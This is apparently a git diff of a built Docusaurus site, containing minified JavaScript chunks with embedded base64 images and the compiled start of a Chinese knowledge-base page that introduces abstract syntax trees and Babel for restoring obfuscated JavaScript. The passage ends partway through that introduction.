AAAAAAAAAAAAEAigm4AAAAAAAAAAAAAgET+Hzc8VNxgJh5pAAAAAElFTkSuQmCC"},68696:(A,n,e)=>{e.d(n,{A:()=>s});const s="data:image/png;base64,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"},84582:(A,n,e)=>{e.d(n,{A:()=>s});const s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACuIAAAB2CAYAAAA3SBcGAAAMQElEQVR4nO3cXWyddQHH8d85LWyljO6sGXsDRgyOOSDDkYkJRCDiTCAhmBiMMVxAjMRAwi7UC43xDTTTSJYwQkgwBhJjAgR0xosJJhr1Yi68jClOFJQXt7VYzwbt2tKtxwvsKG6W+WenT7t+Pnc9z/88z69p0qtvnlqr1WoFAAAAAAAAAAAAAPi/1KseAAAAAAAAAAAAAACzkRAXAAAAAAAAAAAAAAoIcQEAAAAAAAAAAACggBAXAAAAAAAAAAAAAAoIcQEAAAAAAAAAAACggBAXAAAAAAAAAAAAAAoIcQEAAAAAAAAAAACgQOd/f3DnExur2AEAAAAAAAAAAAAAleqod2ZZzzlZt+KyXLT0knc9f1SICwAAAAAAAAAAAABz0eHxQ3m1+WJebb6YvW+8kg3vv37K8+85xP3K1Zvf6y0AAAAAAAAAAAAAoHKjh0ezc++OPL77kex46VdZtuDsKd+MW5/GbQAAAAAAAAAAAAAwY83rmJcPnXV5Prb6k0mSp/7xuynPC3EBAAAAAAAAAAAAYJK1y9YnSfYeeHnKc0JcAAAAAAAAAAAAAJhkXse8JMnh8UNTnhPiAgAAAAAAAAAAAEABIS4AAAAAAAAAAAAAFBDiAgAAAAAAAAAAAEABIS4AAAAAAAAAAAAAFBDiAgAAAAAAAAAAAEABIS4AAAAAAAAAAAAAFBDiAgAAAAAAAAAAAEABIS4AAAAAAAAAAAAAFBDiAgAAAAAAAAAAAECBzqoHANVrNpsZGBjI0NBQWq1W1XMAAAAAAAAAAACgWK1WS3d3d3p7e9NoNNr6LCEuzHF79uxJf39/1TMAAAAAAAAAAADghGi1WhkcHMzg4GCGh4ezfPnytj1LiAtzWLPZPBLhLlmyJD09PanX6xWvAgAAAAAAAAAAgHLj4+M5cOBA+vr60t/fn66urra9GVdxB3PYwMBAkrci3EajIcIFAAAAAAAAAABg1qvX62k0GlmyZEmSt1u5tjyrbXcGZryhoaEkSU9PT8VLAAAAAAAAAAAA4MSaaOMmWrl2EOLCHNZqtZLEm3ABAAAAAAAAAAA46Uy0cROtXFue0bY7AwAAAAAAAAAAAMBJTIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQoLPqAfD3l/bn9i9sy76+wWNev2DN4ty1aUMW9syf5mXHZ7bvBwAAAAAAAAAAAMoIcZkRFjbm546vX5WzzzrjqGu1Wi0LTj+1glXH5+yzzsiDP7g+rVbrqGu7/tifHz74TAWrAAAAAAAAAAAAgHYT4jIj1OvJgtNPnZVvje3oqKfnjHnHvNbdfco0rwEAAAAAAAAAAACmS73qAQAAAAAAAAAAAAAwG3kjbpvdc9+OPPijZ4/r7L13X5N1a5e1eREAAAAAAAAAAAAAJ4IQt81uvWV9br1lfZKk1Uq2/fKv+do3f51Vqxblu3dcnWVLF1S8EAAAAAAAAAAAAIAS9aoHzCW1WnLm4u4kybkrF6axsKviRQAAAAAAAAAAAACUEuICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOLCDHVweCybt2zPFRseyOYt23NweKzqSQAAAAAAAAAAAMAknVUP4H9r7h/JX14YyMGhsfz+yT25cM3iXPPx92d45FAe2/qnPLZ1d15++fUsWtSVj1x+Tm66cW2WLllQ9WxOkKd37suPH/pDkuThR5/LlVeszMUXLa14FQAAAAAAAAAAADBBiDuDvf7GSJ7ZuS+/f3JPdu3qz+pVvXlu92v59vd+mw+vX5HvfOOjWbTotOx8dl82b9menbv68v3vfCwrlp9R9XQAAAAAAAAAAACAk54QdwZbefbCfO7mS7J0yenZtas/f/zTa9n2yxfy5S9enjWrFx85d9UV5+bUeR350pefyLYnXsxNN16cWq3C4ZwQH1y7NJ++4cI8tnV3PnHd6qw6r7fqSQAAAAAAAAAAAMAkQtxZ5Kln9mbTHVfnfec2jrr2gfMX57zzFuWFv/0rI6OH0jXfn3a2O63rlGy87dJsvO3SqqcAAAAAAAAAAAAAx1CvegDH7zOfuuiYEW6S1OtJR72WvXsHMzp6aJqXAQAAAAAAAAAAAMw9QtxZpF6vVT0BAAAAAAAAAAAAgP8Q4gIAAAAAAAAAAABAASEuAAAAAAAAAAAAABQQ4gIAAAAAAAAAAABAASEuAAAAAAAAAAAAABQQ4gIAAAAAAAAAAABAASEuAAAAAAAAAAAAABQQ4sIMdXB4LJu3bM8VGx7I5i3bc3B4rOpJAAAAAAAAAAAAwCRCXJihnt65Lz9+6A8ZGTmUhx99Ls//daDqSQAAAAAAAAAAAMAkQtxp1Gol/a8NJUn+/tL+NPcPv+t3xsdb6et/6zv/HDiYN8cOH/PcwYNjGRk9lIGB4SPPAAAAAAAAAAAAAKB9OqsecLK7574defBHzx71+fPP/yvX3/DQOz679+5rsm7tsiM/b/35n3Pnpt8e+fm++5/Kffc/9Y5zIyOHcuf3fpNfPP7ikXM33vyTXLBmce7atCELe+af6F+JafLBtUvz6RsuzGNbd+cT163OqvN6q54EAAAAAAAAAAAATCLEbbNbb1mfW29ZX/Td6649P9dde/6UZ+bP78y3vnpVvvXVq4qewcx1Wtcp2Xjbpdl426VVTwEAAAAAAAAAAACOQYjLjDA+nrwx+Gb2Hxg56lqtVsuC009NvV6rYNm7O3x4PINDY2m1WkddGxoaq2ARAAAAAAAAAAAAMB2EuMwI+5sj+eznf3bMaxesWZy7Nm3Iwp7507zq+Lzy6uu5/Qvbsq9v8JjXL1izeJoXAQAAAAAAAAAAANNBiEvlzl25MD99+FNVzyg22/cDAAAAAAAAAAAAZepVDwAAAAAAAAAAAACA2UiICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECICwAAAAAAAAAAAAAFhLgAAAAAAAAAAAAAUECIC3NYrVZLkoyPj1e8BAAAAAAAAAAAAE6siTZuopVrByEuzGHd3d1JkgMHDlS8BAAAAAAAAAAAAE6siTZuopVrByEuzGG9vb1Jkr6+vjSbTW/GBQAAAAAAAAAAYNYbHx9Ps9lMX19fkrdbuXbobNudgRmv0WhkeHg4/f396evrO/JPBwAAAAAAAAAAAE4GZ555ZhqNRtvuL8SFOW758uXp6urKwMBAhoaG0mq1qp4EAAAAAAAAAAAAxWq1Wrq7u9Pb29vWCDcR4gJ568247f5nAwAAAAAAAAAAACebetUDAAAAAAAAAAAAAGA2EuICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOICAAAAAAAAAAAAQAEhLgAAAAAAAAAAAAAUEOICAAAAAAAAAAAAwCSjh0eTJB31zinPCXEBAAAAAAAAAAAAYJKde3ckSZb1nDPluakzXQAAAAAAAAAAAACYI0YPj2bn3h15fPcjSZJ1Ky6b8vx7DnHvfGLje70FAAAAAAAAAAAAAMwo61demYuWXjLlGW/EBQAAAAAAAAAAAIAkHfXOLOs5J+tWXPauEW6S1FqtVmsadgEAAAAAAAAAAADASaVe9QAAAAAAAAAAAAAAmI2EuAAAAAAAAAAAAABQQIgLAAAAAAAAAAAAAAWEuAAAAAAAAAAAAABQ4N+qJ9orjz2N9QAAAABJRU5ErkJggg=="}}]); \ No newline at end of file diff --git a/assets/js/01d97124.0a40a91e.js b/assets/js/01d97124.0a40a91e.js new file mode 100644 index 0000000..a40cf4d --- /dev/null +++ b/assets/js/01d97124.0a40a91e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2005],{28453:(n,e,r)=>{r.d(e,{R:()=>a,x:()=>i});var s=r(96540);const t={},c=s.createContext(t);function a(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:a(n.components),s.createElement(c.Provider,{value:e},n.children)}},72848:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>l,contentTitle:()=>i,default:()=>u,frontMatter:()=>a,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README","title":"JS\u8fd8\u539f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/03.JS\u8fd8\u539f/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SpringBoot\u6e17\u900f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/"},"next":{"title":"fscan\u514d\u6740","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/"}}');var t=r(74848),c=r(28453);const a={},i="JS\u8fd8\u539f",l={},d=[{value:"\u4ec0\u4e48\u662f AST",id:"\u4ec0\u4e48\u662f-ast",level:2},{value:"AST \u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",id:"ast-\u5728\u7f16\u8bd1\u4e2d\u7684\u4f4d\u7f6e",level:2},{value:"\u8bcd\u6cd5\u5206\u6790",id:"\u8bcd\u6cd5\u5206\u6790",level:3},{value:"\u8bed\u6cd5\u5206\u6790",id:"\u8bed\u6cd5\u5206\u6790",level:3},{value:"\u4ee3\u7801\u751f\u6210",id:"\u4ee3\u7801\u751f\u6210",level:3},{value:"Babel \u7b80\u4ecb",id:"babel-\u7b80\u4ecb",level:2},{value:"@babel/core",id:"babelcore",level:3},{value:"@babel/parser",id:"babelparser",level:3},{value:"@babel/generator",id:"babelgenerator",level:3},{value:"@babel/traverse",id:"babeltraverse",level:3},{value:"@babel/types",id:"babeltypes",level:3},{value:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",id:"\u5e38\u89c1\u6df7\u6dc6\u8fd8\u539f",level:2},{value:"\u5b57\u7b26\u4e32\u8fd8\u539f",id:"\u5b57\u7b26\u4e32\u8fd8\u539f",level:3},{value:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",id:"\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\u8fd8\u539f",level:3},{value:"\u8868\u8fbe\u5f0f\u8fd8\u539f",id:"\u8868\u8fbe\u5f0f\u8fd8\u539f",level:3},{value:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",id:"\u5220\u9664\u672a\u4f7f\u7528\u53d8\u91cf",level:3},{value:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",id:"\u5220\u9664\u5197\u4f59\u903b\u8f91\u4ee3\u7801",level:3},{value:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",id:"\u82b1\u6307\u4ee4\u8f6c\u4e8c\u9879\u5f0f",level:3},{value:"switch-case \u63a7\u5236\u6d41\u5e73\u5766\u5316",id:"switch-case-\u63a7\u5236\u6d41\u5e73\u5766\u5316",level:3},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"js\u8fd8\u539f",children:"JS\u8fd8\u539f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:28"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"\u9006\u5411\u8fdb\u9636\u5229\u7528-ast-\u6280\u672f\u8fd8\u539f-javascript-\u6df7\u6dc6\u4ee3\u7801",children:"\u9006\u5411\u8fdb\u9636\uff0c\u5229\u7528 AST \u6280\u672f\u8fd8\u539f JavaScript \u6df7\u6dc6\u4ee3\u7801"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647047.png-.png",alt:"img"})}),"\n",(0,t.jsx)(e.h2,{id:"\u4ec0\u4e48\u662f-ast",children:"\u4ec0\u4e48\u662f AST"}),"\n",(0,t.jsx)(e.p,{children:"AST\uff08Abstract Syntax Tree\uff09\uff0c\u4e2d\u6587\u62bd\u8c61\u8bed\u6cd5\u6811\uff0c\u7b80\u79f0\u8bed\u6cd5\u6811\uff08Syntax Tree\uff09\uff0c\u662f\u6e90\u4ee3\u7801\u7684\u62bd\u8c61\u8bed\u6cd5\u7ed3\u6784\u7684\u6811\u72b6\u8868\u73b0\u5f62\u5f0f\uff0c\u6811\u4e0a\u7684\u6bcf\u4e2a\u8282\u70b9\u90fd\u8868\u793a\u6e90\u4ee3\u7801\u4e2d\u7684\u4e00\u79cd\u7ed3\u6784\u3002\u8bed\u6cd5\u6811\u4e0d\u662f\u67d0\u4e00\u79cd\u7f16\u7a0b\u8bed\u8a00\u72ec\u6709\u7684\uff0cJavaScript\u3001Python\u3001Java\u3001Golang \u7b49\u51e0\u4e4e\u6240\u6709\u7f16\u7a0b\u8bed\u8a00\u90fd\u6709\u8bed\u6cd5\u6811\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u5c0f\u65f6\u5019\u6211\u4eec\u5f97\u5230\u4e00\u4e2a\u73a9\u5177\uff0c\u603b\u559c\u6b22\u628a\u73a9\u5177\u62c6\u89e3\u6210\u4e00\u4e2a\u4e00\u4e2a\u5c0f\u96f6\u4ef6\uff0c\u7136\u540e\u6309\u7167\u6211\u4eec\u81ea\u5df1\u7684\u60f3\u6cd5\uff0c\u628a\u96f6\u4ef6\u91cd\u65b0\u7ec4\u88c5\u8d77\u6765\uff0c\u4e00\u4e2a\u65b0\u73a9\u5177\u5c31\u8bde\u751f\u4e86\u3002\u800c JavaScript \u5c31\u50cf\u4e00\u53f0\u7cbe\u5999\u8fd0\u4f5c\u7684\u673a\u5668\uff0c\u901a\u8fc7 AST \u89e3\u6790\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u50cf\u7ae5\u5e74\u65f6\u62c6\u89e3\u73a9\u5177\u4e00\u6837\uff0c\u6df1\u5165\u4e86\u89e3 JavaScript \u8fd9\u53f0\u673a\u5668\u7684\u5404\u4e2a\u96f6\u90e8\u4ef6\uff0c\u7136\u540e\u91cd\u65b0\u6309\u7167\u6211\u4eec\u81ea\u5df1\u7684\u610f\u613f\u6765\u7ec4\u88c5\u3002"}),"\n",(0,t.jsx)(e.p,{children:"AST \u7684\u7528\u9014\u5f88\u5e7f\uff0cIDE \u7684\u8bed\u6cd5\u9ad8\u4eae\u3001\u4ee3\u7801\u68c0\u67e5\u3001\u683c\u5f0f\u5316\u3001\u538b\u7f29\u3001\u8f6c\u8bd1\u7b49\uff0c\u90fd\u9700\u8981\u5148\u5c06\u4ee3\u7801\u8f6c\u5316\u6210 AST \u518d\u8fdb\u884c\u540e\u7eed\u7684\u64cd\u4f5c\uff0cES5 \u548c ES6 \u8bed\u6cd5\u5dee\u5f02\uff0c\u4e3a\u4e86\u5411\u540e\u517c\u5bb9\uff0c\u5728\u5b9e\u9645\u5e94\u7528\u4e2d\u9700\u8981\u8fdb\u884c\u8bed\u6cd5\u7684\u8f6c\u6362\uff0c\u4e5f\u4f1a\u7528\u5230 AST\u3002AST \u5e76\u4e0d\u662f\u4e3a\u4e86\u9006\u5411\u800c\u751f\uff0c\u4f46\u505a\u9006\u5411\u5b66\u4f1a\u4e86 AST\uff0c\u5728\u89e3\u6df7\u6dc6\u65f6\u53ef\u4ee5\u5982\u9c7c\u5f97\u6c34\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["AST 